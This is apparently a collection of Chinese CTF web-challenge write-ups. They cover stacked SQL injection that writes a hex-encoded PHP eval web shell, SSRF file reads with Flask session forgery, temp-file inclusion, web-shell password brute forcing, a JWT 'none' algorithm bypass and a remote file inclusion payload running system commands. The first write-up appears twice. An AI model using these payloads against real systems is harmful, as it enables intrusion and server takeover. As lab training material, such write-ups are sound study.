堆叠注入写Shell
打开是一个登录界面

这里尝试写一个木马进去,把木马进行hex编码进行绕过
username=admin\
password=;select 0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e into outfile “/var/www/html/1.php”;%23

上传完之后尝试使用木马获得flag

CTF{sql_injection_is_fun}
加载过慢请开启缓存 浏览器默认开启
打开是一个登录界面

这里尝试写一个木马进去,把木马进行hex编码进行绕过
username=admin\
password=;select 0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e into outfile “/var/www/html/1.php”;%23

上传完之后尝试使用木马获得flag

CTF{sql_injection_is_fun}
打开题目发现是一个页面列表

点进去发现有一个id参数

测试了一下发现可以注入

先查字段数

然后查表名,得到pages和users

再查users中的列名

这里查id和username都没查到有用信息


Flag在password中

CTF{admin_secret_password}
题目显示可以读取网页

点击后会跳转百度,查看源码发现这里有一个url参数

用file协议可以读取文件

题目叫Flask_Session伪造,需要secret_key,一般在app.py中

这里需要admin签名的cookie才能访问/flag,所以需要先得到mac地址,然后算secret_key,再去伪造{‘username’:’admin’} 的签名 Cookie,最后替换cookie访问/flag。因为可以读取文件,先看看能不能直接读网卡信息得到mac地址。
Payload:/read?url=file:///sys/class/net/eth0/address

用脚本计算secret_key


得到secret_key为0.5088633266314257,用flask-session-cookie-manager伪造session


eyJ1c2VybmFtZSI6ImFkbWluIn0.af_3Mw.CpCI19wit_JWsNvwVA5W5vmcaZw
修改cookie访问/flag获得flag

CTF{flask_session_is_secure}
输入这个不存在的临时文件路径/tmp/sess_123

发现/tmp和sess不受限制,这里可以利用脚本上传临时文件在临时文件被删除之前包含执行php代码

成功包含后用蚁剑连接上传的木马

在当前目录下找到flag


CTF{fileupload_temp_file_include_success}
题目要求用GET方式传id=1

用GET传id=1后又要POST传jljcxy=flag

这里再POST传一个jljcxy=flag,得到flag

flag{a52b7cac3af0b081349001c92d79cc0a}
打开题目告诉我们网站被黑了,有很多的马

看了源码和请求响应都没有有用信息,用dirsearch扫描后台发现一个shell.php和index.php.bak ,一个是shell的登录界面一个是字符串应该是密码字典


直接抓包爆破,先设置好payload

开始爆破,找到正确密码的响应得到flag

flag{8e539a7a46fea05dea18b9b9f9ff6a63}
题目提示伪造 JWT 令牌,获取管理员权限

登录抓包

JWT令牌分为三段
1、eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
2、eyJ1c2VyIjoic3NzIiwiYWRtaW4iOmZhbHNlfQ
3、m8V_HNSI65wv2XVsZlxjFapXhxILIgwSrqkMv4wdxBg
第一段解码后为{“alg”:”HS256”,”typ”:”JWT”},题目提示修改alg字段为none绕过签名验证

第二段解码后为{“user”:”sss”,”admin”:false},第三段解码后为乱码估计是验证部分,所以这里根据题目提示修改alg字段绕过验证,第三段因为绕过验证了所以不用加上
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoic3NzIiwiYWRtaW4iOnRydWV9.
抓登录包修改token,这里登录包后面还有一个包也需要修改


修改完后得到flag

CTF{jwt_none_alg_bypass_success}
题目需要登录

根据题名字弱口令爆破加上附加,这里应该是要暴力破解,先抓登录包

发送到intruder,添加payload位置,将附件导入
暴力破解得到密码为834100

根据响应flag在/flag中,访问得到flag

CTF{this_is_a_sample_flag}
这道题可以远程查看外部文件,尝试用data协议执行恶意文件
_1c082d26.png)
这里被禁止了,用外部链接让它读取恶意文件,开了一个文件上传的题目用文件上传题目的服务器给这个题目读恶意文件,在文件上传的题目中上传一个123.txt
内容:
_ab3664f1.png)
然后让这道题去读取这个文件
_08d8268a.png)
成功读取道,用代码中的1参数执行命令得到flag
Payload:?path=http%3A%2F%2Fa5e91015-92c8-4e39-bfea-78d3ff0af054.node5.buuoj.cn%3A81%2Fuplo4d%2Fb52f6f78c93f7934d640cc67ae99fbd1.txt&1=system(%27tac%20f*%27);
_67d2f38c.png)
CTF{http_rfi_1s_fun}